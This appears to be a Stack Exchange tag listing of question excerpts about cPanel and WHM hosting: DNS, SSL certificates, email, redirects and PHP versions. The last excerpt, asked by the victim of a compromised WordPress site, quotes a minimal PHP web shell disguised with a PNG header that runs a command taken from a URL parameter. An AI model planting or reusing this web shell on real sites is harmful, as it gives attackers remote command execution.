Questions tagged [cpanel]

cPanel utilizes a 3 tier structure that provides functionality for administrators, resellers, and end-user website owners to control the various aspects of website and server administration through a standard web browser.

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Connection refused when accessing my website with a url and a port number but its fine if accessing it with IP

I have a cpanel apache website. When i try to access it with url and a port number like mysite.com:3000 it returns connection refused but if I access it with ip like 147.100.xx.xxx:3000 it's working ...
Eddi's user avatar
  • 101
1 vote
0 answers
17 views

Snipe-IT / Cpanel / WHM auto SSL issue

Maybe some of you have done it and could help me. I use Cpanel and WHM. Basically I installed snipe-it and had to create a custom VirtualHost in WHM via include file. The site is a subdomain.(( # To ...
Arthur's user avatar
  • 11
0 votes
1 answer
26 views

How to use whm/cpanel for email (box) for a website in AWS (EC2) [duplicate]

I've moved some sites from our Namecheap (dedicated) server to AWS (EC2) machine for several reasons. However, I want to use the existing Namecheap server for email (boxes) for those sites. We've ...
Md. A. Apu's user avatar
1 vote
0 answers
21 views

Frequently Getting the Error Message "too many requests"

Within the last 2 months the error message "too many requests" has started showing up for those using my site. The site is hosted on a server with a 32 core CPU and 64 GB of RAM. The site ...
Lee's user avatar
  • 650
1 vote
0 answers
41 views

How to redirect wildcard and non-wildcard differently?

My customer had a single WP site at example.com. This was changed so that on that address is only be a static page, a landing page, with an election to choose between two WP sites which locate at ...
Juha Metsäkallas's user avatar
1 vote
0 answers
71 views

Connecting to MySQL database hosted on CPanel

I have followed all of the usual steps in setting up a pipeline but cannot seem to get the database itself to connect. I am confident in the correct database name, username passowrd etc but am ...
Anton Gomes's user avatar
1 vote
1 answer
113 views

Cpanel email addresses failure connected to Google Domains

I have a domain name with Google Domains and I'm using cPanel. When I create an email address in cpanel and send an email to that address, it's saying it doesn't exist. Somehow, it's connected to ...
Fully Loaded's user avatar
0 votes
0 answers
12 views

I need to avoid creating delegated hosted zone for Each domain hosted on cpanel vps on aws

Currently running cpanel on ec2 aws, for each domain I want to host on the same vps, I've to set a delegated hosted zone on route53 using nameservers isn't really working without the delegated hosted ...
Ahmed Elmahdy's user avatar
1 vote
0 answers
42 views

How to setup cPanels Global Email Filters to filter multiple rules for one e-mail address?

I'm using cPanel 106.0 (build 11) on a Linux server with x86_64 architecture, Apache 2.4.54 and PHP 8.1.13. I'm using the Global Email Filters feature to filter e-mails. I want to create a filter that ...
David's user avatar
  • 143
1 vote
0 answers
30 views

Configuring website with cPanel not to show a directory index listing [closed]

I developed a web page and uploaded it to the web with cPanel, the problem is that when I search for it in Google, it comes out with a name and a "raw" summary that says "Name Last ...
Anibenson Pineda's user avatar
0 votes
2 answers
97 views

Which user should serve web pages

I am using Crazy Domains to host my website. It is controlled by cpanel. It is a shared server (for now). I just realized that my login user (effectively root for my part of the server) is also the ...
Rohit Gupta's user avatar
  • 2,231
0 votes
1 answer
59 views

What Impact on subdomain to change the NS server record

I want to change my hosting services to another service provider. What will be the impact on subdomains if I change the new hosting NS record on domain registrar. Currently I am using the multiple ...
Vajid Hassan's user avatar
1 vote
2 answers
261 views

Migrate old WordPress site to a subdomain via cPanel

I'm a volunteer with non-profit helping with their website. I'm accustomed to working the frontend, but not the backend. We recently connected the website domain to a new site on Squarespace. Since ...
dstxus's user avatar
  • 11
1 vote
0 answers
121 views

Install matplotlib and pandas on shared hosting python from cpanel [closed]

When I upload my Django app, I have problem when I setup the python app configuration files. After adding requirements.txt gives me an error these libraries are not accepted: matplotlib==3.5.1 pandas=...
OmarDev's user avatar
  • 21
1 vote
0 answers
28 views

View subdomain on cpanel without domain

I've a cPanel/WHM with some clients. On cPanel, with an domain you just need create subdomain (mySub.myDomain.example) and go on that for view website. But, how I can do that for clients without ...
Originers Mc's user avatar
2 votes
0 answers
213 views

How to 301 redirect site alias domain to a subdomain on the same hosting?

We have the following problem in Cpanel / htaccess file when trying to 301 redirect example.hu (alias) pages to example.com (subdomain) pages: Cpanel example.hu to example.com redirection is working, ...
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2 votes
0 answers
35 views

How to set up folders for different versions of a site?

I have a rather large site (50 gigs or so) that I am attempting to do an update on. The current URL of the site is set up as the 'main domain' in cpanel and the path is home/username/publicHTML. I ...
Robbie's user avatar
  • 171
1 vote
0 answers
81 views

Unable able to edit registered application in Application Manager in cpanel

I'm registering a node.js application. I'm able to initially register it, but when I go to add an env for instance, and click deploy, I get this error. I'm not even sure where to start. I've been ...
rubixibuc's user avatar
  • 111
3 votes
2 answers
123 views

Do I need a wildcard SSL certificate to secure my website and email subdomains through cPanel?

I have a website and emails through the same hosting provider which I manage through cpanel. At the moment I am using zeroSSL to secure my website (www.example.com), however, this does not support my ...
Odoug4's user avatar
  • 33
1 vote
0 answers
49 views

Will deleting a cron job in CPANEL stop a running job?

I have a cron job in our CPANEL hosting. This is a laravel artisan command "queue:work". Now my problem is, the new code update is not reflecting unless I restart the command. I thought of ...
jreloz's user avatar
  • 111
3 votes
1 answer
329 views

Server's certificate is unknown when using ftp with cPanel

I have a VPS hosting with both WHM/cPanel and SSH root access, I created an FTP account using cPanel, now when I try to connect using FileZilla I get the following warning: The server's certificate is ...
Nishu Ali's user avatar
5 votes
1 answer
265 views

Every hour reach entry processes limit on shared hosting

We are on a shared hosting and from today (we didn't change anything), every beginning hour the website just go away and it's unreachable for 4-5 min. The cPanel says we have reached the Entry ...
kviktor1230's user avatar
3 votes
1 answer
148 views

Is there an official or safe way to use a LetsEncrypt certificate for the WHM UI?

To be specific, I am talking about using a LetsEncrypt (LE) cert for WHM itself, not a domain being managed by these tools. I'm well aware that I could install Certbot and reconfigure the underlying ...
Mikey T.K.'s user avatar
1 vote
2 answers
525 views

cPanel - Email queue and allowing sending of outgoing email after the account has been on hold

I'm using a cPanel shared hosting provider which limits the number of emails that can be sent during one hour. On the said hosting, there's a webapp which sends mass emails to some of its users, once ...
FiddlingAway's user avatar
3 votes
1 answer
100 views

Password protected directory [c-panel] - receiving no login prompt when the url is clicked in FB Messenger

The public_html folder is password-protected via the .htaccess file. I'm using an Apache web server and hosting on Godaddy. It works fine if I use any browser on mobile and desktop/laptop devices. But ...
user124149's user avatar
0 votes
0 answers
134 views

How can I check whether a port is open in cPanel on a shared hosting account?

I need to check if port 3000 is open because when I try to access example.com:3000 I can't connect. How can I check this for sure on cPanel taking into consideration I'm on a shared hosting account ...
Cain Nuke's user avatar
  • 141
5 votes
2 answers
860 views

Domain names mirroring my domain except for small details

I am just an amateur web editor and have had a non-commercial personal website www.mysurname.example with useful technical tips and culture content since 1999. I code my web pages directly in HTML and ...
Pygmalion's user avatar
  • 183
3 votes
1 answer
287 views

WHM upload CA root certificate to validate Cloudflare certificates

I'm using Cloudflare's self-signed certificates to encrypt traffic between Cloudflare and my origin web server. A problem that cPanel shows a No Valid Certificate for the domain and the error ...
Alexius The Coder's user avatar
6 votes
1 answer
469 views

Nginx reverse proxy into external cPanel server results in an error

I am trying to reverse proxy into a cPanel account by attempting to use the following Nginx configuration (123.123.123.123 is the cPanel IP), but I'm getting an error: ERR_TOO_MANY_REDIRECTS server { ...
Toodarday's user avatar
  • 123
2 votes
1 answer
120 views

How do I get another of my domains showing in the browser's address bar?

I have several domains registered with 123-reg and I have shared hosting with them with an associated primary domain. Some of my domains are for specific clubs whose websites all start at the same ...
Crowborough Chris's user avatar
3 votes
1 answer
293 views

How to fix a rogue DNS-IP mapping in WHM or cPanel?

I woke up this morning and started getting emails from customers of my website truckercert.com that "the site is down". But what actually happened is the SSL certificate quit working. The ...
HerrimanCoder's user avatar
1 vote
1 answer
127 views

cpanel: Reply "550 No Such User" with a Default Address

In cpanel, if I do not set up "Domain Fowarding", a 550 "No Such User" bounces email to non-existent email addresses on my domain. If I do set up Domain Forwarding, email to a non-...
tpdi's user avatar
  • 131
0 votes
1 answer
168 views

Where are API keys stored in cPanel file manager? [closed]

I recently bought a script. Where would I go to change an API key in file manager? Is there a specific area I am supposed to navigate to for finding API keys? I'm sorry that I feel I'm being unclear ...
dingledoop's user avatar
3 votes
1 answer
123 views

What is a robots.txt file and how can I use it

I want to use a robots.txt file for my website, which is currently displaying a 404 error when requesting it (e.g., https://www.example.com/robots.txt). How do I make one? There's no option to create ...
LimesBytefend's user avatar
1 vote
0 answers
45 views

Do I need AdSense for an ads.txt? [closed]

I have signed up to be a game publisher with various platforms, and they all require that I add information to an ads.txt file. When I looked it up, all the articles mention Google AdSense. I don’t ...
Cannabijoy's user avatar
0 votes
0 answers
256 views

System PHP version upgraded to 7.3 but domain is stuck at 7.2

I recently upgraded PHP from 7.2 to 7.3 on my Centos and Apache server by using cPanel/WHM. I'd updated the System PHP version to 7.3 but the domain is still stuck at 7.2. When I attempt to upgrade ...
mrlexington's user avatar
1 vote
0 answers
40 views

How to assign a db user to multiple databases at once from cPanel?

Inside cPanel, I can create a database and I can assign a specific db user to a specific database. But what if I have like 100 databases. How can I assign the same user to all of the databases created ...
Bryan Veloso's user avatar
1 vote
0 answers
249 views

#1044 - Access denied for user 'cpses001'@'localhost' to database 'test_db'

I have purchase i hosting with cpanel in godaddy and I am migrating a WordPress site, but the problem when I am trying to import database it gave me this error #1044 - Access denied for user 'cpses001'...
anie's user avatar
  • 111
0 votes
0 answers
34 views

Data being edited in .opvn config when vpn app http gets .opvn files from my host. Adds my wordpress site code and removes the config

I have a VPN app that pulls .ovpn files from a folder on my website : /home/mywebsitename/public_html/remoteovpn. When I add the .opvn files to this folder and my app pulls them from https request, ...
Bryan Purcell's user avatar
1 vote
1 answer
45 views

Search engines indexing only the old site which has been moved to a subdomain

I recently took up a project for a website overhaul. I went on to deploy my website on the client's hosting service. It uses cPanel. On the hosting service they had the old version of the website. I ...
IneptusMechanicus's user avatar
1 vote
1 answer
144 views

How can I migrate from a server with cPanel AutoSSL to one using Let's Encrypt without an interruption to my SSL coverage?

I've currently got a live website which is set up with it's SSL cert being provided by cPanels AutoSSL feature. I'm going to be moving my website to a VPS that is provisioned by Laravel Forge and set ...
Tyler's user avatar
  • 11
3 votes
0 answers
168 views

How do I install a wildcard SSL certificate on WHM using Let's Encrypt plugin and Cloudflare DNS?

I am using cPanel 92 on CentOS 7 and my domain.com's DNS zone is running on Cloudflare (free Cloudflare tier) and I'm having trouble getting my subdomains (of a subdomain) running over HTTPS. Security ...
Dan's user avatar
  • 31
3 votes
0 answers
41 views

Can cPanel listen on all domains on a dedicated IP?

I have a large number of clients (affiliates) that need to make CNAMEs so they use their own domain to display the content of a website hosted on cpanel. This must be done instantly without human ...
the_nuts's user avatar
  • 151
1 vote
0 answers
128 views

cPanel route traffic through VPN tunnel allowing me to route IPs

I would like to be able to route an IP I have from another virtual machine to my main cPanel server to be used. cPanel server IP is 198.51.100.1 and the other machine has 203.0.113.1 and 203.0.113.2 ...
Toodarday's user avatar
  • 123
3 votes
1 answer
59 views

Is it possible to add 10 subdomains in a separate cPanel account from the main domain?

I would like to know is it possible to have one domain in a separate cPanel account and all the subdomains in another separate account. Main domain: One cpanel account. 10 subdomains: One cpanel ...
user193310's user avatar
5 votes
1 answer
532 views

How to add node modules to cPanel

I am new to web hosting. I am currently hosting my website on Morse Host. My website has a menu screen that requires node modules. Uploading them from my computer will take a really long time. Is ...
Onur-Andros Ozbek's user avatar
0 votes
1 answer
714 views

How to import and read email files downloaded from a cPanel backup?

TLDR, question: How can I import and read all those HTML email and attachment files easily ? Most importantly, I need to read the attachments (PDFs) copies of signed contracts, in case... More info: ...
deryb's user avatar
  • 111
3 votes
3 answers
2k views

Creating an A record and then a CNAME to point a subdomain to a different server gives an error message

I am trying to point a subdomain to a different server. The A Record changed without issue but the CNAME won't save in cPanel. I get this error: Error: sub.domain.com. already has a A record. You may ...
Henry's user avatar
  • 415
1 vote
0 answers
34 views

How do you know which plugin is consuming CPU?

My Wordpress site is going down from time to time, I see in the server log that wp-load is requested a lot, I blocked external requests to this file. But I still get 5xx error once a day, I have a lot ...
boji montana's user avatar
4 votes
1 answer
140 views

Backdoor exploit - could they have downloaded files from server?

Due to a customer running old Wordpress plugins, a php file with the following code was added to their website: ‰PNG <?php $str = $_GET['cmd']; system($str); ?> The above file was detected by ...
authentictech's user avatar

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